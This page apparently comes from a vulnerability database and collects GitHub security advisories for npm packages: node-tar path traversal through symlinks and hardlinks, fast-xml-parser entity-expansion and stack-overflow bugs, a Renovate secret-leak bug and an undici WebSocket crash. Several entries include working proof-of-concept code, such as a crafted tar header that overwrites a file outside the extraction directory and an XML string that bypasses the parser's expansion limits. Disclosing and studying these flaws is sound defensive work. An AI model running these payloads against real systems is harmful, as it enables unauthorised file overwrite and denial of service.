hardlink.js Environment used for validation:
- Node:
v25.4.0 - tar:
7.5.7 - OS: macOS Darwin 25.2.0
- Extract options: defaults (
tar.extract({ file, cwd }))
Steps:
-
Prepare/locate a
tarmodule. Ifrequire('tar')is not available locally, setTAR_MODULEto an absolute path to a tar package directory. -
Run:
TAR_MODULE="$(cd '../tar-audit-setuid - CVE/node_modules/tar' && pwd)" node hardlink.js
- Expected vulnerable output (key lines):
same_inode=true
read_ok=true
write_ok=true
result=VULNERABLE
Interpretation:
same_inode=true: extractedexfiland external secret are the same file object.read_ok=true: readingexfilleaks external content.write_ok=true: writingexfilmodifies external file.
Impact
Vulnerability type:
- Arbitrary file read/write via archive extraction path confusion and link resolution.
Who is impacted:
- Any application/service that extracts attacker-controlled tar archives with Node
tardefaults. - Impact scope is the privileges of the extracting process user.
Potential outcomes:
- Read sensitive files reachable by the process user.
- Overwrite writable files outside extraction root.
- Escalate impact depending on deployment context (keys, configs, scripts, app data).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-26960"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T00:57:13Z",
"nvd_published_at": "2026-02-20T02:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar.extract()` in Node `tar` allows an attacker-controlled archive to create a hardlink inside the extraction directory that points to a file outside the extraction root, using default options.\n\nThis enables **arbitrary file read and write** as the extracting user (no root, no chmod, no `preservePaths`).\n\nSeverity is high because the primitive bypasses path protections and turns archive extraction into a direct filesystem access primitive.\n\n### Details\nThe bypass chain uses two symlinks plus one hardlink:\n\n1. `a/b/c/up -\u003e ../..`\n2. `a/b/escape -\u003e c/up/../..`\n3. `exfil` (hardlink) -\u003e `a/b/escape/\u003ctarget-relative-to-parent-of-extract\u003e`\n\nWhy this works:\n\n- Linkpath checks are string-based and do not resolve symlinks on disk for hardlink target safety.\n - See `STRIPABSOLUTEPATH` logic in:\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:255`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:268`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:281`\n\n- Hardlink extraction resolves target as `path.resolve(cwd, entry.linkpath)` and then calls `fs.link(target, destination)`.\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:566`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:567`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:703`\n\n- Parent directory safety checks (`mkdir` + symlink detection) are applied to the destination path of the extracted entry, not to the resolved hardlink target path.\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:617`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/unpack.js:619`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:27`\n - `../tar-audit-setuid - CVE/node_modules/tar/dist/commonjs/mkdir.js:101`\n\nAs a result, `exfil` is created inside extraction root but linked to an external file. The PoC confirms shared inode and successful read+write via `exfil`.\n\n### PoC\n[hardlink.js](https://github.com/user-attachments/files/25240082/hardlink.js)\nEnvironment used for validation:\n\n- Node: `v25.4.0`\n- tar: `7.5.7`\n- OS: macOS Darwin 25.2.0\n- Extract options: defaults (`tar.extract({ file, cwd })`)\n\nSteps:\n\n1. Prepare/locate a `tar` module. If `require(\u0027tar\u0027)` is not available locally, set `TAR_MODULE` to an absolute path to a tar package directory.\n\n2. Run:\n\n```bash\nTAR_MODULE=\"$(cd \u0027../tar-audit-setuid - CVE/node_modules/tar\u0027 \u0026\u0026 pwd)\" node hardlink.js\n```\n\n3. Expected vulnerable output (key lines):\n\n```text\nsame_inode=true\nread_ok=true\nwrite_ok=true\nresult=VULNERABLE\n```\n\nInterpretation:\n\n- `same_inode=true`: extracted `exfil` and external secret are the same file object.\n- `read_ok=true`: reading `exfil` leaks external content.\n- `write_ok=true`: writing `exfil` modifies external file.\n\n### Impact\nVulnerability type:\n\n- Arbitrary file read/write via archive extraction path confusion and link resolution.\n\nWho is impacted:\n\n- Any application/service that extracts attacker-controlled tar archives with Node `tar` defaults.\n- Impact scope is the privileges of the extracting process user.\n\nPotential outcomes:\n\n- Read sensitive files reachable by the process user.\n- Overwrite writable files outside extraction root.\n- Escalate impact depending on deployment context (keys, configs, scripts, app data).",
"id": "GHSA-83g3-92jg-28cx",
"modified": "2026-02-20T16:47:48Z",
"published": "2026-02-18T00:57:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-83g3-92jg-28cx"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26960"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/2cb1120bcefe28d7ecc719b41441ade59c52e384"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/d18e4e1f846f4ddddc153b0f536a19c050e7499f"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Arbitrary File Read/Write via Hardlink Target Escape Through Symlink Chain in node-tar Extraction"
}
GHSA-8GC5-J5RX-235R
Vulnerability from github – Published: 2026-03-17 19:45 – Updated: 2026-03-25 14:31Summary
The fix for CVE-2026-26278 added entity expansion limits (maxTotalExpansions, maxExpandedLength, maxEntityCount, maxEntitySize) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. Numeric character references (&#NNN; and &#xHH;) and standard XML entities (<, >, etc.) are processed through a separate code path that does NOT enforce any expansion limits.
An attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.
Affected Versions
fast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)
Root Cause
In src/xmlparser/OrderedObjParser.js, the replaceEntitiesValue() function has two separate entity replacement loops:
- Lines 638-670: DOCTYPE entities — expansion counting with
entityExpansionCountandcurrentExpandedLengthtracking. This was the CVE-2026-26278 fix. - Lines 674-677:
lastEntitiesloop — replaces standard entities includingnum_dec(/&#([0-9]{1,7});/g) andnum_hex(/&#x([0-9a-fA-F]{1,6});/g). This loop has NO expansion counting at all.
The numeric entity regex replacements at lines 97-98 are part of lastEntities and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.
Proof of Concept
const { XMLParser } = require('fast-xml-parser');
// Even with strict explicit limits, numeric entities bypass them
const parser = new XMLParser({
processEntities: {
enabled: true,
maxTotalExpansions: 10,
maxExpandedLength: 100,
maxEntityCount: 1,
maxEntitySize: 10
}
});
// 100K numeric entity references — should be blocked by maxTotalExpansions=10
const xml = `<root>${'A'.repeat(100000)}</root>`;
const result = parser.parse(xml);
// Output: 500,000 chars — bypasses maxExpandedLength=100 completely
console.log('Output length:', result.root.length); // 500000
console.log('Expected max:', 100); // limit was 100
Results:
- 100K A references → 500,000 char output (5x default maxExpandedLength of 100,000)
- 1M references → 5,000,000 char output, ~147MB memory consumed
- Even with maxTotalExpansions=10 and maxExpandedLength=100, 10K references produce 50,000 chars
- Hex entities (A) exhibit the same bypass
Impact
Denial of Service — An attacker who can provide XML input to applications using fast-xml-parser can cause: - Excessive memory allocation (147MB+ for 1M entity references) - CPU consumption during regex replacement - Potential process crash via OOM
This is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.
Suggested Fix
Apply the same entityExpansionCount and currentExpandedLength tracking to the lastEntities loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.
Workaround
Set htmlEntities:false
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.5.6"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-beta.3"
},
{
"fixed": "4.5.5"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33036"
],
"database_specific": {
"cwe_ids": [
"CWE-776"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-17T19:45:41Z",
"nvd_published_at": "2026-03-20T06:16:11Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe fix for CVE-2026-26278 added entity expansion limits (`maxTotalExpansions`, `maxExpandedLength`, `maxEntityCount`, `maxEntitySize`) to prevent XML entity expansion Denial of Service. However, these limits are only enforced for DOCTYPE-defined entities. **Numeric character references** (`\u0026#NNN;` and `\u0026#xHH;`) and standard XML entities (`\u0026lt;`, `\u0026gt;`, etc.) are processed through a separate code path that does NOT enforce any expansion limits.\n\nAn attacker can use massive numbers of numeric entity references to completely bypass all configured limits, causing excessive memory allocation and CPU consumption.\n\n## Affected Versions\n\nfast-xml-parser v5.x through v5.5.3 (and likely v5.5.5 on npm)\n\n## Root Cause\n\nIn `src/xmlparser/OrderedObjParser.js`, the `replaceEntitiesValue()` function has two separate entity replacement loops:\n\n1. **Lines 638-670**: DOCTYPE entities \u2014 expansion counting with `entityExpansionCount` and `currentExpandedLength` tracking. This was the CVE-2026-26278 fix.\n2. **Lines 674-677**: `lastEntities` loop \u2014 replaces standard entities including `num_dec` (`/\u0026#([0-9]{1,7});/g`) and `num_hex` (`/\u0026#x([0-9a-fA-F]{1,6});/g`). **This loop has NO expansion counting at all.**\n\nThe numeric entity regex replacements at lines 97-98 are part of `lastEntities` and go through the uncounted loop, completely bypassing the CVE-2026-26278 fix.\n\n## Proof of Concept\n\n```javascript\nconst { XMLParser } = require(\u0027fast-xml-parser\u0027);\n\n// Even with strict explicit limits, numeric entities bypass them\nconst parser = new XMLParser({\n processEntities: {\n enabled: true,\n maxTotalExpansions: 10,\n maxExpandedLength: 100,\n maxEntityCount: 1,\n maxEntitySize: 10\n }\n});\n\n// 100K numeric entity references \u2014 should be blocked by maxTotalExpansions=10\nconst xml = `\u003croot\u003e${\u0027\u0026#65;\u0027.repeat(100000)}\u003c/root\u003e`;\nconst result = parser.parse(xml);\n\n// Output: 500,000 chars \u2014 bypasses maxExpandedLength=100 completely\nconsole.log(\u0027Output length:\u0027, result.root.length); // 500000\nconsole.log(\u0027Expected max:\u0027, 100); // limit was 100\n```\n\n**Results:**\n- 100K `\u0026#65;` references \u2192 500,000 char output (5x default maxExpandedLength of 100,000)\n- 1M references \u2192 5,000,000 char output, ~147MB memory consumed\n- Even with `maxTotalExpansions=10` and `maxExpandedLength=100`, 10K references produce 50,000 chars\n- Hex entities (`\u0026#x41;`) exhibit the same bypass\n\n## Impact\n\n**Denial of Service** \u2014 An attacker who can provide XML input to applications using fast-xml-parser can cause:\n- Excessive memory allocation (147MB+ for 1M entity references)\n- CPU consumption during regex replacement\n- Potential process crash via OOM\n\nThis is particularly dangerous because the application developer may have explicitly configured strict entity expansion limits believing they are protected, while numeric entities silently bypass all of them.\n\n## Suggested Fix\n\nApply the same `entityExpansionCount` and `currentExpandedLength` tracking to the `lastEntities` loop (lines 674-677) and the HTML entities loop (lines 680-686), similar to how DOCTYPE entities are tracked at lines 638-670.\n\n## Workaround\n\nSet `htmlEntities:false`",
"id": "GHSA-8gc5-j5rx-235r",
"modified": "2026-03-25T14:31:39Z",
"published": "2026-03-17T19:45:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-8gc5-j5rx-235r"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33036"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/bd26122c838e6a55e7d7ac49b4ccc01a49999a01"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v4.5.5"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.5.6"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "fast-xml-parser affected by numeric entity expansion bypassing all entity expansion limits (incomplete fix for CVE-2026-26278)"
}
GHSA-8WC6-VGRQ-X6CF
Vulnerability from github – Published: 2026-02-13 20:53 – Updated: 2026-02-13 20:53When Renovate spawns child processes, their access to environment variables is filtered to an allowlist, to prevent unauthorized access to privileged credentials that the Renovate process has access to.
Since 42.68.1 (2025-12-30), this filtering had been inadvertently removed, and so any child processes spawned from these versions will have had access to any environment variables that Renovate has access to.
This could lead to insider attackers and outside attackers being able to exflitrate secrets from the Renovate deployment.
It is recommended to rotate (+ revoke) any credentials that Renovate has access to, in case any spawned child processes have attempted to exfiltrate any secrets.
Impact
Child processes spawned by Renovate (i.e. npm install, anything defined in postUpgradeTasks or postUpdateOptions) will have full access to the environment variables that the Renovate process has.
This could lead to insider attackers and outside attackers being able to exflitrate secrets from the Renovate deployment.
Patches
This is patched in 42.96.3 and 43.4.4.
Workarounds
There are no workarounds, other than upgrading your Renovate version.
Why did this happen?
As part of work towards https://github.com/renovatebot/renovate/security/advisories/GHSA-pfq2-hh62-7m96, one of the preparatory changes we made was moving to execa.
One of the default behaviours of execa is to extend the process' environment variables with any new ones, rather than override them.
This was missed in code review, which meant that since this version, the full environment variables have been provided to any child processes spawned with execa by Renovate.
This was discovered as part of an unrelated change.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "42.68.1"
},
{
"fixed": "42.96.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "renovate"
},
"ranges": [
{
"events": [
{
"introduced": "43.0.0"
},
{
"fixed": "43.4.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-269"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-13T20:53:58Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "When Renovate spawns child processes, their access to environment variables is filtered to an allowlist, to prevent unauthorized access to privileged credentials that the Renovate process has access to.\n\nSince [42.68.1](https://github.com/renovatebot/renovate/releases/tag/42.68.1) (2025-12-30), this filtering had been **inadvertently removed**, and so any child processes spawned from these versions will have had access to any environment variables that Renovate has access to.\n\nThis could lead to [insider attackers](https://docs.renovatebot.com/security-and-permissions/#execution-of-code-insider-attack) and [outside attackers](https://docs.renovatebot.com/security-and-permissions/#execution-of-code-outsider-attack) being able to exflitrate secrets from the Renovate deployment.\n\nIt is recommended to rotate (+ revoke) any credentials that Renovate has access to, in case any spawned child processes have attempted to exfiltrate any secrets.\n\n## Impact\n\nChild processes spawned by Renovate (i.e. `npm install`, anything defined in [`postUpgradeTasks`](https://docs.renovatebot.com/configuration-options/#postupgradetasks) or [`postUpdateOptions`](https://docs.renovatebot.com/configuration-options/#postupdateoptions)) will have full access to the environment variables that the Renovate process has. \n\nThis could lead to [insider attackers](https://docs.renovatebot.com/security-and-permissions/#execution-of-code-insider-attack) and [outside attackers](https://docs.renovatebot.com/security-and-permissions/#execution-of-code-outsider-attack) being able to exflitrate secrets from the Renovate deployment.\n\n## Patches\n\nThis is patched in [42.96.3](https://github.com/renovatebot/renovate/releases/tag/42.96.3) and [43.4.4](https://github.com/renovatebot/renovate/releases/tag/43.4.4).\n\n## Workarounds\n\nThere are no workarounds, other than upgrading your Renovate version.\n\n## Why did this happen?\n\nAs part of work towards https://github.com/renovatebot/renovate/security/advisories/GHSA-pfq2-hh62-7m96, one of the [preparatory changes](https://github.com/renovatebot/renovate/pull/40212) we made was moving to [`execa`](https://www.npmjs.com/package/execa).\n\nOne of the default behaviours of `execa` is to [extend the process\u0027 environment variables with any new ones](https://github.com/sindresorhus/execa/tree/v8.0.1?tab=readme-ov-file#extendenv), rather than override them.\n\nThis was missed in code review, which meant that since this version, the full environment variables have been provided to any child processes spawned with `execa` by Renovate.\n\nThis was discovered as part of an unrelated change.",
"id": "GHSA-8wc6-vgrq-x6cf",
"modified": "2026-02-13T20:53:58Z",
"published": "2026-02-13T20:53:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/security/advisories/GHSA-8wc6-vgrq-x6cf"
},
{
"type": "PACKAGE",
"url": "https://github.com/renovatebot/renovate"
},
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/releases/tag/42.96.3"
},
{
"type": "WEB",
"url": "https://github.com/renovatebot/renovate/releases/tag/43.4.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Child processes spawned by Renovate incorrectly have full access to environment variables"
}
GHSA-9PPJ-QMQM-Q256
Vulnerability from github – Published: 2026-03-10 23:44 – Updated: 2026-03-10 23:44Summary
tar (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as C:../../../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.
Details
The extraction logic in Unpack[STRIPABSOLUTEPATH] validates .. segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored linkpath to the stripped value.
What happens with linkpath: "C:../../../target.txt":
1. stripAbsolutePath() removes C: and rewrites the value to ../../../target.txt.
2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.
3. Symlink creation uses the rewritten value (../../../target.txt) from nested path a/b/l.
4. Writing through the extracted symlink overwrites the outside file (../target.txt).
This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.
PoC
Tested on Arch Linux with tar@7.5.10.
PoC script (poc.cjs):
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
Run:
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
Observed output:
PWNED
../../../target.txt
lrwxrwxrwx - joshuavr 7 Mar 18:37 a/b/l -> ../../../target.txt
.rw-r--r-- 6 joshuavr 7 Mar 18:37 ../target.txt
PWNED confirms outside file content overwrite. readlink and ls -l confirm the extracted symlink points outside the extraction directory.
Impact
This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.
Realistic scenarios: - CLI tools unpacking untrusted tarballs into a working directory - build/update pipelines consuming third-party archives - services that import user-supplied tar files
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 7.5.10"
},
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.5.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-31802"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-10T23:44:58Z",
"nvd_published_at": "2026-03-10T07:44:58Z",
"severity": "HIGH"
},
"details": "### Summary\n`tar` (npm) can be tricked into creating a symlink that points outside the extraction directory by using a drive-relative symlink target such as `C:../../../target.txt`, which enables file overwrite outside `cwd` during normal `tar.x()` extraction.\n\n### Details\nThe extraction logic in `Unpack[STRIPABSOLUTEPATH]` validates `..` segments against a resolved path that still uses the original drive-relative value, and only afterwards rewrites the stored `linkpath` to the stripped value.\n\nWhat happens with `linkpath: \"C:../../../target.txt\"`:\n1. `stripAbsolutePath()` removes `C:` and rewrites the value to `../../../target.txt`.\n2. The escape check resolves using the original pre-stripped value, so it is treated as in-bounds and accepted.\n3. Symlink creation uses the rewritten value (`../../../target.txt`) from nested path `a/b/l`.\n4. Writing through the extracted symlink overwrites the outside file (`../target.txt`).\n\nThis is reachable in standard usage (`tar.x({ cwd, file })`) when extracting attacker-controlled tar archives.\n\n### PoC\nTested on Arch Linux with `tar@7.5.10`.\n\nPoC script (`poc.cjs`):\n\n```js\nconst fs = require(\u0027fs\u0027)\nconst path = require(\u0027path\u0027)\nconst { Header, x } = require(\u0027tar\u0027)\n\nconst cwd = process.cwd()\nconst target = path.resolve(cwd, \u0027..\u0027, \u0027target.txt\u0027)\nconst tarFile = path.join(cwd, \u0027poc.tar\u0027)\n\nfs.writeFileSync(target, \u0027ORIGINAL\\n\u0027)\n\nconst b = Buffer.alloc(1536)\nnew Header({\n path: \u0027a/b/l\u0027,\n type: \u0027SymbolicLink\u0027,\n linkpath: \u0027C:../../../target.txt\u0027,\n}).encode(b, 0)\nfs.writeFileSync(tarFile, b)\n\nx({ cwd, file: tarFile }).then(() =\u003e {\n fs.writeFileSync(path.join(cwd, \u0027a/b/l\u0027), \u0027PWNED\\n\u0027)\n process.stdout.write(fs.readFileSync(target, \u0027utf8\u0027))\n})\n```\n\nRun:\n\n```bash\nnode poc.cjs \u0026\u0026 readlink a/b/l \u0026\u0026 ls -l a/b/l ../target.txt\n```\n\nObserved output:\n\n```text\nPWNED\n../../../target.txt\nlrwxrwxrwx - joshuavr 7 Mar 18:37 \udb82\udc6f a/b/l -\u003e ../../../target.txt\n.rw-r--r-- 6 joshuavr 7 Mar 18:37 \uf15c ../target.txt\n```\n\n`PWNED` confirms outside file content overwrite. `readlink` and `ls -l` confirm the extracted symlink points outside the extraction directory.\n\n### Impact\nThis is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.\n\nRealistic scenarios:\n- CLI tools unpacking untrusted tarballs into a working directory\n- build/update pipelines consuming third-party archives\n- services that import user-supplied tar files",
"id": "GHSA-9ppj-qmqm-q256",
"modified": "2026-03-10T23:44:58Z",
"published": "2026-03-10T23:44:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-9ppj-qmqm-q256"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-31802"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar Symlink Path Traversal via Drive-Relative Linkpath"
}
GHSA-F269-VFMQ-VJVJ
Vulnerability from github – Published: 2026-03-13 20:07 – Updated: 2026-03-13 20:07Impact
A server can reply with a WebSocket frame using the 64-bit length form and an extremely large length. undici's ByteParser overflows internal math, ends up in an invalid state, and throws a fatal TypeError that terminates the process.
Patches
Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.
Workarounds
There are no workarounds.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "6.0.0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1528"
],
"database_specific": {
"cwe_ids": [
"CWE-1284",
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:07:26Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "HIGH"
},
"details": "### Impact\nA server can reply with a WebSocket frame using the 64-bit length form and an extremely large length. undici\u0027s ByteParser overflows internal math, ends up in an invalid state, and throws a fatal TypeError that terminates the process. \n\n### Patches\n\n\n Patched in the undici version v7.24.0 and v6.24.0. Users should upgrade to this version or later.\n\n### Workarounds\n\nThere are no workarounds.",
"id": "GHSA-f269-vfmq-vjvj",
"modified": "2026-03-13T20:07:26Z",
"published": "2026-03-13T20:07:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-f269-vfmq-vjvj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1528"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3537648"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici: Malicious WebSocket 64-bit length overflows parser and crashes the client"
}
GHSA-FJ3W-JWP8-X2G3
Vulnerability from github – Published: 2026-02-26 22:33 – Updated: 2026-03-06 22:00Impact
Application crashes with stack overflow when user use XML builder with prserveOrder:true for following or similar input
[{
'foo': [
{ 'bar': [{ '@_V': 'baz' }] }
]
}]
Cause: arrToStr was not validating if the input is an array or a string and treating all non-array values as text content.
What kind of vulnerability is it? Who is impacted?
Patches
Yes in 5.3.8
Workarounds
Use XML builder with preserveOrder:false or check the input data before passing to builder.
References
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "5.0.0"
},
{
"fixed": "5.3.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "fast-xml-parser"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0-beta.0"
},
{
"fixed": "4.5.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-27942"
],
"database_specific": {
"cwe_ids": [
"CWE-120"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-26T22:33:10Z",
"nvd_published_at": "2026-02-26T02:16:22Z",
"severity": "LOW"
},
"details": "### Impact\nApplication crashes with stack overflow when user use XML builder with `prserveOrder:true` for following or similar input \n\n```\n[{\n \u0027foo\u0027: [\n { \u0027bar\u0027: [{ \u0027@_V\u0027: \u0027baz\u0027 }] }\n ]\n}]\n```\n\nCause: `arrToStr` was not validating if the input is an array or a string and treating all non-array values as text content.\n_What kind of vulnerability is it? Who is impacted?_\n\n### Patches\nYes in 5.3.8\n\n### Workarounds\nUse XML builder with `preserveOrder:false` or check the input data before passing to builder.\n\n### References\n[_Are there any links users can visit to find out more?_](https://github.com/NaturalIntelligence/fast-xml-parser/pull/791)",
"id": "GHSA-fj3w-jwp8-x2g3",
"modified": "2026-03-06T22:00:11Z",
"published": "2026-02-26T22:33:10Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-fj3w-jwp8-x2g3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27942"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/pull/791"
},
{
"type": "WEB",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/c13a961910f14986295dd28484eee830fa1a0e8a"
},
{
"type": "PACKAGE",
"url": "https://github.com/NaturalIntelligence/fast-xml-parser"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "fast-xml-parser has stack overflow in XMLBuilder with preserveOrder"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.